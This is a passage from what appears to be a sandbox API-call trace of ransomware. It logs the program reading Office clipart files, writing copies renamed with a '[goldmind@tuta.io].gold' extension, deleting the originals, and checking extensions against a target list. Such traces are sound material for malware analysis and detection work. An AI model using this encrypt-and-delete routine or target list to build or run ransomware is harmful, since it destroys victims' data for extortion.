hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.946] SetEndOfFile (hFile=0x194) returned 1 [0095.946] CloseHandle (hObject=0x194) returned 1 [0095.946] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.946] SetEndOfFile (hFile=0x398) returned 1 [0095.948] CloseHandle (hObject=0x398) returned 1 [0095.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0095.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0095.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0095.949] lstrlenW (lpString=".doc") returned 4 [0095.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.949] lstrlenW (lpString=".docx") returned 5 [0095.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.949] lstrlenW (lpString=".pdf") returned 4 [0095.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.949] lstrlenW (lpString=".xls") returned 4 [0095.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.949] lstrlenW (lpString=".xlsx") returned 5 [0095.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.949] lstrlenW (lpString=".ppt") returned 4 [0095.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0095.949] lstrlenW (lpString=".zip") returned 4 [0095.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.949] lstrlenW (lpString=".rar") returned 4 [0095.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.949] lstrlenW (lpString=".bz2") returned 4 [0095.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.949] lstrlenW (lpString=".7z") returned 3 [0095.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.098] lstrlenW (lpString=".dbf") returned 4 [0096.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.098] lstrlenW (lpString=".1cd") returned 4 [0096.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.099] lstrlenW (lpString=".jpg") returned 4 [0096.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.099] lstrlenW (lpString=".doc") returned 4 [0096.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString=".docx") returned 5 [0096.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.099] lstrlenW (lpString=".pdf") returned 4 [0096.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString=".xls") returned 4 [0096.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.099] lstrlenW (lpString=".xlsx") returned 5 [0096.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.099] lstrlenW (lpString=".ppt") returned 4 [0096.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.099] lstrlenW (lpString=".zip") returned 4 [0096.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.099] lstrlenW (lpString=".rar") returned 4 [0096.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString=".bz2") returned 4 [0096.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString=".7z") returned 3 [0096.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.099] lstrlenW (lpString=".dbf") returned 4 [0096.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.099] lstrlenW (lpString=".1cd") returned 4 [0096.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0096.099] lstrlenW (lpString=".jpg") returned 4 [0096.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.099] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.099] lstrlenW (lpString="FD00814_.WMF") returned 12 [0096.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.128] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=42704) returned 1 [0096.128] CloseHandle (hObject=0x19c) returned 1 [0096.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0096.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.128] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.128] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0096.129] GetLastError () returned 0x0 [0096.129] ReadFile (in: hFile=0x19c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0096.149] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xa6e0, lpOverlapped=0x0) returned 1 [0096.150] ReadFile (in: hFile=0x19c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.150] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.150] SetEndOfFile (hFile=0x3b0) returned 1 [0096.150] CloseHandle (hObject=0x3b0) returned 1 [0096.150] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.150] SetEndOfFile (hFile=0x19c) returned 1 [0096.152] CloseHandle (hObject=0x19c) returned 1 [0096.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0096.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.153] lstrlenW (lpString=".doc") returned 4 [0096.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.153] lstrlenW (lpString=".docx") returned 5 [0096.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.153] lstrlenW (lpString=".pdf") returned 4 [0096.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.153] lstrlenW (lpString=".xls") returned 4 [0096.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.153] lstrlenW (lpString=".xlsx") returned 5 [0096.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.153] lstrlenW (lpString=".ppt") returned 4 [0096.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".zip") returned 4 [0096.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.154] lstrlenW (lpString=".rar") returned 4 [0096.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString=".bz2") returned 4 [0096.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString=".7z") returned 3 [0096.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".dbf") returned 4 [0096.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".1cd") returned 4 [0096.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".jpg") returned 4 [0096.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".doc") returned 4 [0096.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString=".docx") returned 5 [0096.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.154] lstrlenW (lpString=".pdf") returned 4 [0096.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString=".xls") returned 4 [0096.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.154] lstrlenW (lpString=".xlsx") returned 5 [0096.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.154] lstrlenW (lpString=".ppt") returned 4 [0096.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".zip") returned 4 [0096.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.154] lstrlenW (lpString=".rar") returned 4 [0096.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString=".bz2") returned 4 [0096.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString=".7z") returned 3 [0096.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".dbf") returned 4 [0096.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".1cd") returned 4 [0096.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0096.154] lstrlenW (lpString=".jpg") returned 4 [0096.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.154] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.155] lstrlenW (lpString="FD01074_.WMF") returned 12 [0096.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0096.163] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4634) returned 1 [0096.163] CloseHandle (hObject=0x3b8) returned 1 [0096.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0096.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.167] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.167] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.167] GetLastError () returned 0x0 [0096.167] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x121a, lpOverlapped=0x0) returned 1 [0096.168] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0096.169] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.169] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.170] SetEndOfFile (hFile=0x19c) returned 1 [0096.170] CloseHandle (hObject=0x19c) returned 1 [0096.170] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.170] SetEndOfFile (hFile=0x3a0) returned 1 [0096.172] CloseHandle (hObject=0x3a0) returned 1 [0096.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0096.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.172] lstrlenW (lpString=".doc") returned 4 [0096.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.172] lstrlenW (lpString=".docx") returned 5 [0096.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.172] lstrlenW (lpString=".pdf") returned 4 [0096.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.172] lstrlenW (lpString=".xls") returned 4 [0096.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.173] lstrlenW (lpString=".xlsx") returned 5 [0096.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.173] lstrlenW (lpString=".ppt") returned 4 [0096.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.173] lstrlenW (lpString=".zip") returned 4 [0096.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.173] lstrlenW (lpString=".rar") returned 4 [0096.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString=".bz2") returned 4 [0096.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString=".7z") returned 3 [0096.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.173] lstrlenW (lpString=".dbf") returned 4 [0096.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.173] lstrlenW (lpString=".1cd") returned 4 [0096.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.173] lstrlenW (lpString=".jpg") returned 4 [0096.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.173] lstrlenW (lpString=".doc") returned 4 [0096.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString=".docx") returned 5 [0096.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.173] lstrlenW (lpString=".pdf") returned 4 [0096.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString=".xls") returned 4 [0096.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.173] lstrlenW (lpString=".xlsx") returned 5 [0096.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.173] lstrlenW (lpString=".ppt") returned 4 [0096.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.173] lstrlenW (lpString=".zip") returned 4 [0096.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.173] lstrlenW (lpString=".rar") returned 4 [0096.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString=".bz2") returned 4 [0096.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.173] lstrlenW (lpString=".7z") returned 3 [0096.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.174] lstrlenW (lpString=".dbf") returned 4 [0096.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.174] lstrlenW (lpString=".1cd") returned 4 [0096.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0096.174] lstrlenW (lpString=".jpg") returned 4 [0096.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.174] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.174] lstrlenW (lpString="FD01084_.WMF") returned 12 [0096.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.174] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2412) returned 1 [0096.174] CloseHandle (hObject=0x3a0) returned 1 [0096.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0096.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.175] GetLastError () returned 0x0 [0096.175] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x96c, lpOverlapped=0x0) returned 1 [0096.177] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x970, lpOverlapped=0x0) returned 1 [0096.178] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.178] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.178] SetEndOfFile (hFile=0x19c) returned 1 [0096.178] CloseHandle (hObject=0x19c) returned 1 [0096.178] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.178] SetEndOfFile (hFile=0x3a0) returned 1 [0096.180] CloseHandle (hObject=0x3a0) returned 1 [0096.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 